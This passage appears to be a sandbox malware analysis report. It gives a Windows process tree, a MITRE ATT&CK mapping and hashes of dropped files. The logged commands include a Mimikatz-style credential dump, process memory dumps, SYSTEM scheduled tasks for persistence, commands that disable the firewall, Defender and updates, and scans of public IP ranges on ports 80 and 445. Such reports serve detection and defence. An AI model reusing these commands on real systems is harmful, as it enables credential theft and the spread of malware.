      System Location Discovery: System Language Discovery
      PID:244
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2444
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4696
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4584
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1700
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4484
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2040
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:3568
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:1056
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1068
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\iefblqiiz\bsvlqulnj\ipdqsnhqb.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iefblqiiz\bsvlqulnj\Scant.txt
  2⤵
  PID:2804
- - C:\Windows\iefblqiiz\bsvlqulnj\ipdqsnhqb.exe
    C:\Windows\iefblqiiz\bsvlqulnj\ipdqsnhqb.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iefblqiiz\bsvlqulnj\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\iefblqiiz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\iefblqiiz\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:2356
- - C:\Windows\iefblqiiz\Corporate\vfshost.exe
    C:\Windows\iefblqiiz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "rtvtziebs" /ru system /tr "cmd /c C:\Windows\ime\fbyqtdq.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "rtvtziebs" /ru system /tr "cmd /c C:\Windows\ime\fbyqtdq.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3804
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ipyqluzlq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tpizqeql\fbyqtdq.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ipyqluzlq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tpizqeql\fbyqtdq.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:996
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "lnuuvqibb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\genjjusrl\hiukvr.exe /p everyone:F"
  2⤵
  PID:2304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2496
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "lnuuvqibb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\genjjusrl\hiukvr.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4064
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2684
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2700
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4384
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3272
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2772
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4836
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2556
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4628
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1692
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2588
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4732
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2436
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4364
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1328
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:4124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4800
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1060
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:840
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1072
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3136
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4620
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:232
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:4228
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:5048
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3300
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:1084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:3700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2492
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:468
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    PID:4508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2100
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4244
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3192
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:5096
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 780 C:\Windows\TEMP\iefblqiiz\780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4900
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3132
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 336 C:\Windows\TEMP\iefblqiiz\336.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3948
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 1872 C:\Windows\TEMP\iefblqiiz\1872.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 2548 C:\Windows\TEMP\iefblqiiz\2548.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4584
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 2668 C:\Windows\TEMP\iefblqiiz\2668.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1208
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 2716 C:\Windows\TEMP\iefblqiiz\2716.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4768
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 2964 C:\Windows\TEMP\iefblqiiz\2964.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1072
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 3848 C:\Windows\TEMP\iefblqiiz\3848.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4148
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 3940 C:\Windows\TEMP\iefblqiiz\3940.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4160
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 4032 C:\Windows\TEMP\iefblqiiz\4032.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4244
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 1312 C:\Windows\TEMP\iefblqiiz\1312.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4620
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 2916 C:\Windows\TEMP\iefblqiiz\2916.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 4616 C:\Windows\TEMP\iefblqiiz\4616.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 672 C:\Windows\TEMP\iefblqiiz\672.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2524
- C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe
  C:\Windows\TEMP\iefblqiiz\ysyinnueq.exe -accepteula -mp 4812 C:\Windows\TEMP\iefblqiiz\4812.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1500
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\iefblqiiz\bsvlqulnj\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4628
- - C:\Windows\iefblqiiz\bsvlqulnj\hjrtlerqg.exe
    hjrtlerqg.exe TCP 138.199.0.1 138.199.255.255 445 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3988

C:\Windows\SysWOW64\nspfoo.exe
C:\Windows\SysWOW64\nspfoo.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:628

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\tpizqeql\fbyqtdq.exe /p everyone:F
1⤵
PID:2948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:244
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\tpizqeql\fbyqtdq.exe /p everyone:F
  2⤵
  PID:4232

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\fbyqtdq.exe
1⤵
PID:3168
- C:\Windows\ime\fbyqtdq.exe
  C:\Windows\ime\fbyqtdq.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5036

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\genjjusrl\hiukvr.exe /p everyone:F
1⤵
PID:2376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2660
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\genjjusrl\hiukvr.exe /p everyone:F
  2⤵
  PID:4628

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\tpizqeql\fbyqtdq.exe /p everyone:F
1⤵
PID:5048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2760
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\tpizqeql\fbyqtdq.exe /p everyone:F
  2⤵
  PID:2848

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\fbyqtdq.exe
1⤵
PID:3812
- C:\Windows\ime\fbyqtdq.exe
  C:\Windows\ime\fbyqtdq.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1080

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\genjjusrl\hiukvr.exe /p everyone:F
1⤵
PID:2804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4112
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\genjjusrl\hiukvr.exe /p everyone:F
  2⤵
  PID:4624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\genjjusrl\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\iefblqiiz\1312.dmp

Filesize
45.4MB

MD5
8dfde710c5675d73fde6485b6d898a25

SHA1
c3c86e41f7c9adb8a24858b5aeb315f42a4fbf24

SHA256
998f0d4d18f2477b3ec53c5abfa7ca6142977e6e140b14437b1f9f980e34cf9c

SHA512
9906324c76877a018b2929529fb46c58e6070aa910c5e2743635ae231e9a33a4a055eb2af01e3efc5e7072d20eec78dd600420b2f7a452e60d6469394dd690f7

Download Submit
C:\Windows\TEMP\iefblqiiz\1872.dmp

Filesize
4.1MB

MD5
9e670caa5c3c3bb24438d0b37639ec7f

SHA1
9a63db96fa70488eaa5a75c663a5c771d599335a

SHA256
7e5449d5c3ea4a5eb9b4b42765a4cecc934d8455cc7eac4f55507f12d6077cf4

SHA512
997f68754644cdfc8b0c2fd755abdce4cca692878ffadc0cad712a6760618d6a30629f9485ecd1149d0707d5fc9a314d0e42d2c0d8387656f182d116612347df

Download Submit
C:\Windows\TEMP\iefblqiiz\2548.dmp

Filesize
3.9MB

MD5
c274b6fd837f88e19b3c5177909b8d7e

SHA1
99a6a03ce165974a3983ebc5a6842a9eb8a87e36

SHA256
6b085d2ac2038553faf68d533105440ed88a54a19103126762b66ac84ea7f150

SHA512
92566fd889ecb5b5625883aea151c62cbf92a81e170840798caea617616a7d3cef995640088eae1db08490ea8a2dfa3e74a37a9f4e499e90f5ca9a53131f75b1

Download Submit
C:\Windows\TEMP\iefblqiiz\2668.dmp

Filesize
2.9MB

MD5
a00aa5e6142e5b38a4f3ea108bc07381

SHA1
9a59cbeed259315f117a72d0fc23ffbe8e6a4867

SHA256
b95b9422ebef26806ba4e880c13cee981ae14e4409b6bf0ca14fc9a1f621c864

SHA512
7822e08b8e4dbc7aeed4a04418c1a90ca5b2774f8f266de5ab30bb08abce366c1738cb8931a7c632bba6f6d07f7e19c8b6283c7426c82f9d1c3498d79702e6c2

Download Submit
C:\Windows\TEMP\iefblqiiz\2716.dmp

Filesize
7.5MB

MD5
1efc7ed06c589549209e860bfad31bda

SHA1
260b47f0691d4986e790d6253a480fbf0f6070b2

SHA256
a02791383c2496046f82464dd6db0cf10e1df6afa1aa0600b1cb8f799e7cb9cd

SHA512
b8e0341c3c87598e4266a19d477ae9b05d0bd36090fdcad00327be83281906053de7ed1490e2943881a4126984bc52c4def86ad9a2b24079cd2df2f4b2768e79

Download Submit
C:\Windows\TEMP\iefblqiiz\2916.dmp

Filesize
1.2MB

MD5
f89c4a6c81415e74355fdebe203b4441

SHA1
40d5fd43b023a62befde48247d2bd80b3e0c73e3

SHA256
fdb6929f725a43fc1bb9d8c8d1c9c7cc604970818b3c36af06842db4bd4602d8

SHA512
02ebb578a6a4b57ab83de4734b9da6b2ebab632c31fbd2fc72cef9435f137fab7f2bbdf6e79d6c4973a0ea71260391dcbca1e89feeb362e0e5b00fa6874cf2f9

Download Submit
C:\Windows\TEMP\iefblqiiz\2964.dmp

Filesize
796KB

MD5
5e74672b51dd263bf6bfd9fc076376c0

SHA1
17af81c1703c4b333b7f07616396e37dca272a26

SHA256
5d35b94f2162f1bac1e37853da299a742996ad211f0088ae7403086575e701f8

SHA512
a619b778a02d6719ca0e9993e42aa7bb28df0a852dba4c1755bbbce97b13d85b814d8065d012cab65be71e151818ce24ed41c3b74f1bbb28e955c69e3ffe389d

Download Submit
C:\Windows\TEMP\iefblqiiz\336.dmp

Filesize
33.2MB

MD5
846681954f3e85863e153fbadac4ca34

SHA1
6599ede44c3a27f0e3c6ad5a93b9cc96e9e756c9

SHA256
e34e8c166fb58fe55d25ef1651e9fa1cfbd31231e2ceb443979a26a0017e7a62

SHA512
370ea8ee7dc09e8eafc18e4d8a731b08e1af70180b4604925d10c5294d03a29c6d464d09449456503cad022a857ec7d2e2c3f8b9511e8497b787312b79eacf3b

Download Submit
C:\Windows\TEMP\iefblqiiz\3848.dmp

Filesize
2.7MB

MD5
1c4f5d769f7481d6d11f475d8bd8e8cf

SHA1
527712c1333835bf0fcd7bdf8418c2c15c6f61a1

SHA256
2ff4bd51c4f152dbee8a582c79a3b5681599e90bf1b7e379e7bf489665a9a7d0

SHA512
3c76665829309b19bf7847dc7466bc184123a4decd7b8755d3268623d0d25b14442767873c68bc0a7992612446f943ac9fbd51b357f9490c215a2f2b930d078e

Download Submit
C:\Windows\TEMP\iefblqiiz\3940.dmp

Filesize
20.7MB

MD5
9db620ed9a98fca84c43aa1643c95117

SHA1
b8160c49a59e1908b9cc0c6501b2dbf8cbe5b9b4

SHA256
bf1c163e0f82220a163ec25d5fe55b928bdbbe1bdab90248fbedb6fcd39f06e7

SHA512
f9eab5b01205e4fa04854f206ac8aee0e60da7d26c57722e0c7b0b4ce60efb17f2fb4f45c26b7331bb5628917ed1341796fd58d0d5b775e49783c3e7f677b0be

Download Submit
C:\Windows\TEMP\iefblqiiz\4032.dmp

Filesize
4.3MB

MD5
8ad6c7c3c279428d27c58e4e02f87160

SHA1
18127ae36b5ae1634a0b9188189e485955f77521

SHA256
ace4ffe828f60f7b7362e2c6f285a1cce114f0aa279de3b147187bcfdc7ff326

SHA512
0266a4c70ea5ebdf92b6809dbd1252286ac8fd925fb9844c34a8273cc06175c724f98d606412f68f477a69a5db6286c0acd548706d704381ae113a31cc08faeb

Download Submit
C:\Windows\TEMP\iefblqiiz\4616.dmp

Filesize
26.2MB

MD5
43ddd1205084f0ba37910400952d0832

SHA1
6b654c3523437bdd74136c281840ad4eafde6729

SHA256
03acf372d6408a7ca7b7572929fae7b4e6873cf253d2f3d93d3a4ac8ea7c2df0

SHA512
7c9ef68e8275ced1d869830ccc1017c6752b50719c962ee0fabe3208d6ee399d2e87aab63ca0b453d9ceb7f4534eb7de19d778e088a1569ec62825e917236686

Download Submit
C:\Windows\TEMP\iefblqiiz\672.dmp

Filesize
8.9MB

MD5
159d4221ee1b156de0dd10d7cea00a50

SHA1
f4b838165e5939c2ea59cb6f9d77f0d48384bb82

SHA256
74607e778ff1f25b01da71f2ed00a8cd150d48329641025f681450997f646a17

SHA512
e8cc70234ddf6117481fb604604254a1662c1d1e65161dfa2de972bd733a439a7f7da942e937312ffdb0b4ff88d72f02d42351644c208fff49118ab2c9509f93

Download Submit
C:\Windows\TEMP\iefblqiiz\780.dmp

Filesize
1019KB

MD5
c0afd0e6f87ae31aea3020b0a829bd9e

SHA1
90b469d5d16044aaecbc4a89e4af097a9ea54aa1

SHA256
c6028a95b15577ac7227144f85bfdc951812cf7f91c1a3f83dd9c85c62fa9884

SHA512
1134670def5476cee1f2ac62d2f40604b45367d88acc0f5b4dcded1ee48e7f8f65dde25b9f5f5489defb293893db45cb6fe361d2c673493da2f16ac0b75c5da0

Download Submit
C:\Windows\Temp\genjjusrl\hiukvr.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\iefblqiiz\ysyinnueq.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\nsj412D.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsj412D.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
